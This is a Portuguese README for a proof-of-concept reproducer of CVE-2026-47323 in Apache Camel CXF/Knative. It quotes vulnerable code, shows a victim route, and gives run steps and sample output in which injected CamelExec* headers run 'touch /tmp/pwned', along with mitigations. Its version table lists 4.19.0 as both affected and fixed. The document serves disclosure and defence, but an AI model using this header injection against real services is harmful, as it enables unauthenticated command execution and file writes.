
Reproducer for CVE-2026-47323: Apache Camel CXF/Knative HeaderFilterStrategy missing inbound filtering, enabling Camel control-header injection (RCE via camel-exec) through CXF-RS/CXF-SOAP/Knative endpoints (fixed in 4.14.6/4.18.2/4.19.0)
Este projeto demonstra uma injeção de cabeçalho de mensagem nas estratégias de filtro de cabeçalho do Apache Camel CXF e Knative HTTP, registada como CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) e KnativeHttpHeaderFilterStrategy (camel-knative-http) apenas filtram cabeçalhos internos do Camel de saída (setOutFilterStartsWith), sem configurar a filtragem de entrada (setInFilterStartsWith). Como resultado, um atacante não autenticado pode injetar cabeçalhos internos do Camel (ex.: CamelExecCommandExecutable, CamelFileName) através de pedidos HTTP para endpoints CXF-RS ou CXF-SOAP. Quando uma rota encaminha mensagens destes endpoints para componentes orientados por cabeçalhos, como camel-exec ou camel-file, os cabeçalhos injetados substituem os valores configurados — permitindo execução remota de código ou escrita arbitrária de ficheiros.
Este PoC utiliza a superfície CXF-RS (JAX-RS): um CamelExecCommandExecutable injetado transforma um echo inofensivo em execução arbitrária de comandos.
Advisory: https://camel.apache.org/security/CVE-2026-47323.html
Este reprodutor fixa o camel 4.18.1 — a última versão afetada na linha 4.18.x (a correção chegou no 4.18.2). Mesmo padrão que camel-undertow (CVE-2025-30177), o filtro mais amplo de cabeçalhos de entrada (CVE-2025-27636, CVE-2025-29891) e as estratégias não HTTP (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (afetado 4.18.1) — apenas o filtro de SAÍDA está configurado:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (sem setInFilterStartsWith(...), então cabeçalhos Camel* de entrada NÃO são filtrados)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — cabeçalhos HTTP de entrada copiados através da estratégia:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// descartado — mas sem filtro de entrada, CamelExecCommandExecutable NÃO é descartado
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- cabeçalho injetado é colocado aqui
}
}
A correção (4.14.6 / 4.18.2 / 4.19.0) adiciona setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) a estas estratégias, de forma que cabeçalhos Camel* / camel* de entrada são descartados.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // o comando fixo e inofensivo do autor
.setBody(constant("ok\n"));
Um endpoint JAX-RS (GET /service/api/ping) cujos pedidos são encaminhados para um comando shell fixo. O produtor camel-exec honra um cabeçalho CamelExecCommandExecutable de entrada em preferência ao echo configurado.
Tudo corre numa única aplicação autocontida: o endpoint CXF-RS, o sink camel-exec e o driver atacante.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ transporte CXF undertow)
├── Dockerfile
├── docker-compose.yml # único serviço autocontido
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # Contrato JAX-RS: GET /api/ping
│ ├── VictimRoute.java # Consumidor cxfrs -> exec:echo
│ └── ExploitController.java # Atacante: GET /ping com cabeçalhos CamelExec* injetados
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # criado pelo comando injetado
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Pedido legítimo (sem cabeçalhos injetados) ===
resposta: ok
marcador criado: false
=== 2) CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned injetados ===
resposta: ok
marcador criado: true
>>> Prova de injeção de cabeçalho / RCE — um cliente HTTP não autenticado fez a rota executar um
>>> comando arbitrário ao injetar cabeçalhos CamelExec* num pedido CXF-RS (touch /tmp/pwned): true
Qualquer rota que encaminhe mensagens de um endpoint CXF-RS, CXF-SOAP ou Knative-HTTP para um produtor orientado por cabeçalhos. Além de CamelExecCommandExecutable (RCE via camel-exec), CamelFileName permite escrita arbitrária de ficheiros via camel-file, e outros cabeçalhos de controlo Camel* podem orientar outros produtores.
Atualize para 4.14.6 / 4.18.2 / 4.19.0. As estratégias afetadas passam a configurar setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), descartando cabeçalhos Camel* de entrada.
Até à atualização, remova os cabeçalhos de controlo Camel das mensagens de entrada antes de qualquer produtor downstream (.removeHeaders("Camel*") e .removeHeaders("camel*") no início da rota), e exija autenticação no endpoint CXF / Knative.
Este reprodutor é fornecido apenas para investigação de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.
| Propriedade | Valor |
|---|
| Componente | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Validação de Entrada Incorreta |
| Impacto | Injetar cabeçalhos de controlo do Camel através de um pedido HTTP → substituir um produtor downstream orientado por cabeçalhos → RCE (camel-exec) ou escrita arbitrária de ficheiros (camel-file) |
| Pré-condições | Um endpoint CXF-RS / CXF-SOAP / Knative a encaminhar para um produtor orientado por cabeçalhos; não autenticado quando o endpoint o é |
| Versões Afetadas | De 3.18.0 anterior a 4.14.6, de 4.15.0 anterior a 4.18.2, 4.19.0 (corrigido em 4.19.0) |
| Versões Corrigidas | 4.14.6, 4.18.2, 4.19.0 |
| Crédito | Quac Tran |